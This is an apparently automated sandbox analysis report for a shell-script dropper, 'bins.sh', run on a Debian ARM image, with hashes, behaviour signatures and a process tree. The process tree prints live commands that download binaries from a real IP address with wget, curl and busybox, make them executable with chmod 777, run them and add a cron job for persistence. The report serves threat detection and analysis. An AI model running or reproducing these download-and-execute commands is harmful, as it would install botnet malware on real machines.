Analysis

  • max time kernel
    149s
  • max time network
    156s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    27/11/2024, 02:07

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    8f5088b4912cb20abde29e1603b7fcae

  • SHA1

    b3b699bc68a5e784f72a8de3cc5ca4a3108e24db

  • SHA256

    33eafd3d129b1c00172304bbe6745931000915b87f0300905556d89f4ff20b81

  • SHA512

    46c0d0dc07b3fb5dd94a54cac867cf10e17553ce5fa7f037e681fca3105b7b281fcb6b0f36b0e9a691b8161debb42b662a9a155ca3c29b2d6d065a677ff65785

  • SSDEEP

    192:CiyCpdx7WymIRpQc2Xe6z/vu1uT+z/vu1uGiyCpdlymIRpeP4g:r7WymIRpQcjiWymIRpTg

Malware Config

Signatures

  • Contacts a large (2032) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:648
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:650
        • /usr/bin/wget
          wget http://216.126.231.240/bins/OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:653
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f
          2⤵
          • Checks CPU configuration
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:680
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:695
        • /bin/chmod
          chmod 777 OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f
          2⤵
          • File and Directory Permissions Modification
          PID:702
        • /tmp/OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f
          ./OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f
          2⤵
          • Executes dropped EXE
          • System Network Configuration Discovery
          PID:703
        • /bin/rm
          rm OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f
          2⤵
          • System Network Configuration Discovery
          PID:706
        • /usr/bin/wget
          wget http://216.126.231.240/bins/WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym
          2⤵
          • Writes file to tmp directory
          PID:708
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:731
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym
          2⤵
          • Writes file to tmp directory
          PID:736
        • /bin/chmod
          chmod 777 WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym
          2⤵
          • File and Directory Permissions Modification
          PID:743
        • /tmp/WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym
          ./WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym
          2⤵
          • Executes dropped EXE
          PID:744
        • /bin/rm
          rm WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym
          2⤵
            PID:746
          • /usr/bin/wget
            wget http://216.126.231.240/bins/aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X
            2⤵
            • Writes file to tmp directory
            PID:748
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:761
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X
            2⤵
            • Writes file to tmp directory
            PID:769
          • /bin/chmod
            chmod 777 aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X
            2⤵
            • File and Directory Permissions Modification
            PID:770
          • /tmp/aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X
            ./aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:771
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:773
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:774
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:775
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:776
                • /bin/rm
                  rm aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X
                  2⤵
                    PID:778
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/gz7Po0CMKlkilOirMIL5k8x2njyLMF9QFf
                    2⤵
                      PID:781

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • /tmp/OeD7Ko9I3MiKwMmd2uBOpiPKquTgzHxt3f

                    Filesize

                    111KB

                    MD5

                    701e7a55a4f3650f5feee92a9860e5fc

                    SHA1

                    6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                    SHA256

                    ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                    SHA512

                    7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                  • /tmp/WbXYLw95SQwbor8aL5DDSeKYiZOIkHZUym

                    Filesize

                    117KB

                    MD5

                    849fa04ef88a8e8de32cb2e8538de5fe

                    SHA1

                    c768af29fe4b6695fff1541623e8bbd1c6f242f7

                    SHA256

                    8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                    SHA512

                    2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                  • /tmp/aH3APYTqM69pkA2Hfgf0UGGVt6fOsSA09X

                    Filesize

                    119KB

                    MD5

                    1b166b95f9cb4b079ef1b9ec8363ddf3

                    SHA1

                    0d8eb08add467b3b5474f9b25909297fe7c2839c

                    SHA256

                    94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                    SHA512

                    983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                  • /var/spool/cron/crontabs/tmp.GPPMoD

                    Filesize

                    210B

                    MD5

                    d189788774f2b3d3e65fdc5ab74f31b0

                    SHA1

                    66b1ab188c16792be285ee11d76321f078113a8f

                    SHA256

                    69e9760569a20c8cd1242a88e1a03e51b68b40a61d795a3cdca98460443350bb

                    SHA512

                    809020ce3d79fe94bfe5bfcb2c9011c84a4e72a60f8992d2bd948bb70e32471947670fb2cb9bb8c2ec353b031babb140705a5ca4b4abd0bb30a75954f2ee842d